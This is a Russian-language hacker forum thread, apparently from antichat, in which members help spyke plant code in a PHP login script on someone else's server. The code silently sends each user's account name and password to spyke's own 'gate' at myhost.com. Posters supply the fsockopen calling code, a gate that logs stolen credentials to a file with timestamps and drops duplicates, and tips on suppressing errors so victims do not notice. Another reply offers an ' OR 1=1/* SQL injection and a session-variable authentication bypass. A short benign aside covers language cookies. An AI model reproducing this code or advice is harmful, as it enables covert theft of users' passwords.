Господа! Нужна помощь по пхп. Есть пхп скрипт на чужой машине, в нем используются 2 переменные $account и $password У меня есть халявный хостинг, хочу чтоб каждый раз когда исполняется скрипт, эти переменные передавались моему гейту, который пишет ихзначения в файл. Гейт готов, осталось лишь придумать, как вызывать этот скрипт в виде http://myhost.com/gate.php?acc=$account&pass=$password Там пхп 4.4.2, так просто fopen не использовать. Как поступить?
мож так? PHP: //кусок кода $host="http://myhost.com"; $fp = fsockopen ($host, 80); if (!$fp) { echo "неполучилось"; } else { $qs="GET /gate.php?acc=".$account."&pass=".$password."HTTP/1.0\r\nHost: ".$host."\r\n\r\n"; fputs ($fp, $qs); fclose ($fp); } а вобще что тебе мешает сохранять переменные на чужом компе в текстовый файл, а потом со своего читать его удаленно?
Ну это не серьезно, ты бы тогда сказал, какие ошибки выдает, соединяет ли или нет, вобщем все подробно а вобще кинь мне в личку твой сайт, я поробую у себя скрипт запустить, посмотрим придут или нет тебе пароли
Возможно ошибка в том, что немножко неправильно формируется GET-запрос... Обратите внимание, что в запросе перед спецификацией протокола (HTTP/1.0) не выставлен пробел... То есть, получается, что этот скрипт будет постоянно запрашивать несуществующий ресурс на сервере... Лечение простое - добавить этот чёртов пробел... PHP: // (c) кусок кода, by Scipio $host="http://myhost.com"; $fp = fsockopen ($host, 80); if (!$fp) { echo "неполучилось"; } else { $qs="GET /gate.php?acc=".$account."&pass=".$password." HTTP/1.0\r\nHost: ".$host."\r\n\r\n"; fputs ($fp, $qs); fclose ($fp); }
Помогите пожалуйста есть 2 кнопки, нужно чтобы при нажатии на одну из них файлы подключались из одного файла а на другую из другого, и при чем чтобы при следующем заходе не требовалось нажимать снова а файл сам уже инклюдился и при этом для каждого заходящего на страницу отдельно, можно даже с записью информации куданибудь. Прям самый простенький примерчик для понимания...
Задание не очень ясно... Ты хочешь сделать что-то типа аттачей в почтовом сервисе? Никто такое бесплатно делать не будет, ибо работы тут достаточно...
задача думаю не очень сложная.. но точно не знаю... просто нужно реализовать чтото типа если нажал на первую кнопку был английский текс, а при нажатии на вторую русский текс. и при этом это куданить в файл писалось типа этот чел выбрал для себя русский и потом он зашел и сразу русский был, или через куки как нить... просто представляю себе это плохо а в готовых скриптах много лишнего и для меня там сложновато понять ченить
Scipio и groundhog, спс огромное, все пашет. Дело в том что сайт часто посещаемый и если я не буду гасить вывод ошибки, юзеры могут просечь что к чему. Вот новый вопрос. Поступают эти 2 переменные каждый раз, когда юзер ходит по личному кабинету. И пишутся они в файл blablabla.txt. Но проблема в том, что каждый раз, когда юзер кликает на ссылку в личном кабинете, эти переменные пишутся снова и снова в конец файла с новой строки. Как избежать дубляжа "на лету"? Просто такими темпами там будет 1ГБ запятых и одинаковых пар логин+пароль, а это палево.
spyke, если ты ещё мучаешся с тем скриптом, то $host="myhost.com"; а не $host="http://myhost.com"; И ябы лично делалбы file("http://web.ru/gate.php?acc=".$account."&pass=".$password); но на хостинге может не прокатить, такчто решай сам А насчёт повторений PHP: <? if (!$_SESSION['gate']) { //Сливаем логи и пасс $_SESSION['gate'] = true; } ?> darckmilord, Вот это токо пример как я делал... делаш папку lang для неё Deny from all в неё пихаеш rus.php и eng.php PHP: <? //eng.php $lang = array(); $lang['title'] = 'My website'; $land['welcome_msg'] = 'Hello'; ?> PHP: <? //rus.php $lang = array(); $lang['title'] = 'Мой вебсайт'; $lang['welcome_msg'] = 'Привет'; ?> В корне создаём file.php PHP: <? $languages = array('rus','eng'); if(!$_COOKIE['lang'] || !in_array($_COOKIE['lang'],$languages)) { setcookie('lang',$languages[0]); $_COOKIE['lang'] = $languages[0]; } if($_GET['lang'] && in_array($_GET['lang'],$languages)) { setcookie('lang',$_GET['lang']); $_COOKIE['lang'] = $_GET['lang']; } include("lang/{$_COOKIE['lang']}.php"); echo "<center><h1>{$lang['title']}</h1><br>{$lang['welcome_msg']}</center><br>"; echo '<a href="?lang=rus">rus</a> <a href="?lang=eng">eng</a>'; ?> Заходим на file.php и юзаем дальше сам думаю разберёшся
darckmilord, да, задача действительно не из сильных. Я просто в смысл не въехал. Вот решение: PHP: <?php if (isset($_COOKIE["pillow"])) { $pillow = strtolower($_COOKIE["pillow"]); if ($pillow === "blue") die("Матрица поимела тебя, Нео!"); elseif ($pillow === "red") die("Ты поимел матрицу, Нео!"); } if (strtolower($_SERVER["REQUEST_METHOD"])=="post") setcookie("pillow", htmlspecialchars($_POST["pillow"]), time() + 60 * 60 * 24 * 365); print("<h1>Красная или синяя, Нео? Сделай свой выбор!</h1>"); print("<form method=post>"); print("<input type=\"submit\" name=\"pillow\" value=\"BLUE\">\n"); print("<input type=\"submit\" name=\"pillow\" value=\"RED\">\n"); print("</form"); ?>
Товарищи кодеры помогите пожалуйста советом! вот такая вот проверка пароля в самом конце авторизации. Можно ли ее обойти? PHP: $sql="select * from f_user where (nick='$innick')"; $resultn=mysql_query($sql); $ar=mysql_fetch_array($resultn); //вышестоящая проверка вырезана, поскольку там ничего не поделать if ($ar['pass'] == $inpass) { $_SESSION['userenter']=$ar['id'];
195531, покажи скрипт выше, надо знать что такое $innick и откуда оно берётся А ваще логи и пасс напиши ' OR 1=1/* если пустит, значит можно, если нет, всётаки выложи скрипт /me только что заметил "//вышестоящая проверка вырезана, поскольку там ничего не поделать" ну значит не судьба Хотя если включены глобальные переменные, можеш попробовать зайти на сайт index.php?$_SESSION[userenter]=1
ссылку кинул в другой раздел, здесь все таки не совсем то. там инъекции нет походу, но можно весь код посмотреть, если интересно смотрите http://forum.antichat.ru/showthread.php?p=510350#post510350
spyke, используй для вошки, которая льёт пасы в файло такой код: PHP: <?php if (isset($_GET["login"]) && isset($_GET["password"])) { $line = sprintf("%s:%s\n", $_GET["login"], $_GET["password"]); $suff_data = file("stuff.txt"); foreach ($suff_data as $account_data) if (trim($line) == trim($account_data)) die("Повтор на первом игроке"); $file_id = fopen("stuff.txt", "a+"); if (!$file_id) die("Не могу открыть файлег!"); fputs($file_id, $line); fclose($file_id); } ?> Разумеется, исправь поведение на ошибки и следи чтобы файл не вырос до громадных размеров, иначе скрипт будет тормозить, а следовательно и будет тормозить страница, с которой ты вызываешь вошку.
Скрипт рабочий, но допустим, мне нужно поставить дату и время перед каждой парой логин , пароль. Я сделал вот так: PHP: <?PHP $date = date("m/d/y H:i:s"); if (isset($_GET["acc"]) && isset($_GET["pass"])) { $line = sprintf("$date [ %s , %s ]\n", $_GET["acc"], $_GET["pass"]); $suff_data = file("file.txt"); foreach ($suff_data as $account_data) if (trim($line) == trim($account_data)) die("повтор"); $file_id = fopen("file.txt", "a+"); if (!$file_id) die("die"); fputs($file_id, $line); fclose($file_id); } ?> На выходе получаем это: Code: 11/21/07 14:23:46 [ test , test ] 11/21/07 14:23:50 [ test , test ] 11/21/07 14:23:50 [ test , test ] 11/21/07 14:39:05 [ sdfsdf , sdfdsf ] 11/21/07 14:39:09 [ sdfsdf , sdfdsf ] 11/21/07 14:39:10 [ sdfsdf , sdfdsf ] 11/21/07 14:39:13 [ sdfsdf , sdfdsf ] 11/21/07 14:39:14 [ sdfsdf , sdfdsf ] 11/21/07 14:39:26 [ werwr , sdfsdsg ] 11/21/07 14:39:36 [ werwr , sdfsdsg ] 11/21/07 14:39:37 [ werwr , sdfsdsg ] 11/21/07 14:39:43 [ werwr , sdfsdsg ] 11/21/07 14:39:44 [ werwr , sdfsdsg ] 11/21/07 14:40:00 [ werwr , sdfsdsg ] Скрипт смотрит строки, а мне нужно чтоб он смотрел в квадратные скобки каждой строчки) И еще, юзеры зачастую первый раз вводят пароль неправильно и посылают данные еще раз. Тоесть, автоматом надо отсеивать только повторяющиеся пары логин+пароль, а не просто логин. Предлагаю мастерам написать гибкий скрипт универсального гейта) С гуи интерфейсом и всякими фичами. Хокер выбирает, какие переменные принимать, куда их сохранять, в каком формате, ставить ли дату и время, в каком опять же формате и где, включать ли защиту от повторов. Гуи должен в конце показать кусочек пхп кода file() , со всеми нужными переменными и адресом сервера. Вроде, я такому еще аналогов не видел. Да, кусочек кода может модифицироваться base64 по желанию, а инфа криптоваться XOR'ом.
Пля! Ничо не понимал, дошло что это гейт PHP: <?PHP $date = date("m/d/y H:i:s"); if (isset($_GET["acc"]) && isset($_GET["pass"])) { $line = sprintf("$date [ %s , %s ]\n", $_GET["acc"], $_GET["pass"]); $suff_data = file_get_contents("file.txt"); if (!strpos($suff_data,"{$_GET['acc']} , {$_GET['pass']}")) { $file_id = fopen("file.txt", "a+"); if (!$file_id) die("die"); fputs($file_id, $line); fclose($file_id); } //Иначе просто ничего не делать } ?> Если чё, стучи 202-995-022 буду тебя учить
Ну чтобы писать с датой запроса, можно использовать такой скрипт: PHP: <?php if (isset($_GET["login"]) && isset($_GET["password"])) { $line = sprintf("%s:%s\n", $_GET["login"], $_GET["password"]); $suff_data = file("stuff.txt"); foreach ($suff_data as $account_data) if (trim($line) == trim($account_data)) die("Повтор на первом игроке"); $file_id = fopen("stuff.txt", "a+"); if (!$file_id) die("Не могу открыть файлег!"); $extended_line = sprintf("[%s] - %s", date("m/d/y H:i:s"), $line); fputs($file_id, $extended_line); fclose($file_id); } ?> А чтобы писать только те пароли, которые были введены правильно - ты просто вставь на хосте, в которого ты засадил шпиона, строчку вызова вошки в то место, которое идёт после проверки аутентификации...